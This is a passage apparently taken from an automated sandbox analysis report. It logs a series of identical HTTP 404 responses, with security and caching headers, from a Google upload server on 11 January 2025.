ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC41sDb8myeUXrsEiau_XSe-HqAGpRpVND6K19KJgQyGsrl7sLHVDgrsXjFeCFpzdRs4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:07:01 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-uXGAboKZ8zEMWZ9PLcFzyQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgToru8h0awP8tiM2VZerbLzFWseOk7Xp5bMiH61jGOOuExvYFa1fswxOUyYIZtSt3X1xr7Rzz4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:07:03 GMTContent-Security-Policy: script-src 'nonce-SGZ1vJU3G8e20QrjM0lTJg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgQ2nk-A7of0RxG9ZcrYhDVmQPlq5XwPjucQIcNmHQk9c6ZXVr-1z2N7BJdrgnrZFgLqiQe-0wwContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:07:05 GMTContent-Security-Policy: script-src 'nonce-l-8onPjgFeRex80tzj8cYQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6F1Gqhs39DhXemrL3IGwOBftFnWz0tQcSoD41wiFrlttNK0A2QGt_26RY0rNKsMZmzContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:07:08 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-Y5FI-lUMHjDm76mBcQGAJg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC55pC5XUPdIHCvhIPJJ0lwtQSua15A-UjuFCv8GWn6kk3Kk06RykxMbtXxSmnNT5LYWContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:07:10 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'nonce-XxdxbcX2v9B9FMfbYiw6pg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC624ajSIfGzut2cDFCCMVIQXkSYMdtQbco-CWxL5CAuDJpnCF-qnbwNFiOL3Dpo89pYContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:07:12 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-50XjqCsO5A_HWlElcgQjKQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgT4uuRPg2l-5AiBPijV9u2-_M1B_K0sJ0058W5N0wx43cawg7SM_MehnHfClgFBuGbbwDpEBJMContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:07:15 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-egoQtzVXlHtqRHtsB8mn_A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgQPqmjTMI653FfBuSHtnmV9dS7DUF62QsZBbW9nNns1d9jH811d0OjPRDYY2aW7HqfLContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:07:17 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'nonce-7bd134m998viTHqfmd9iKw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgTGUE6aBXiwHHRZEhZaw0NfkfKO7xp4yRxzRNdcdvEiijTYySwApKRo2-Z4uVLJ3ZpWContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:07:19 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-CoCzefY5EMfhb2PjZzv3hQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgRFG9Q9dl6SJGxuRrgQBsa7EGMaCZon0g3OkiK6-85QRAwRnP3d35BiHa3n7Ctq2RIHnbKsPDAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:07:21 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'nonce-73FTCfE98bJZgWptiYil2A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgSeJj-UZZmMvhmYQ_5I1p16qTU-ZAq6xD7CsExD97nCd9ZruTxNCcstnCYpCdZM8BS8_NORw5wContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:07:23 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-MLY6DPlGitZriuOnXQz50w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgQiwmoPlvBzeBVuNawBnksVzfkJ3VpCM-c1RDd_Q6IH86o1z6aEttiVsaniFTQnz_bL9z9NQm4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:07:26 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-zaLQfp8jLvZCrcUmhnUmOw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC64WyJRqTNhPVdS5N8OifDmaGtIAIYLPKG8bavWbO6JSjCTV0_G1y5h_i_X902_opA9bpdZFiMContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:07:28 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-DiNxNwgG5IstDm4PYtmj3Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5gx5tENMxP6y0jGxSnbNEmRc2ioje_Sviwoze7Gqxfo8uw1kc5YoJJuVYKMv-1-YfyContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:07:30 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-Tp_WFNzdA7p15enucgXJBQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgTVDUZlxEiF4KLvx33QbxYEfqx60jqKpdT9_mqW-Se3q-nktg5riXV9-HnfSwuJYan2Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:07:33 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-94ivqguTGv_bpizdqCElcQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
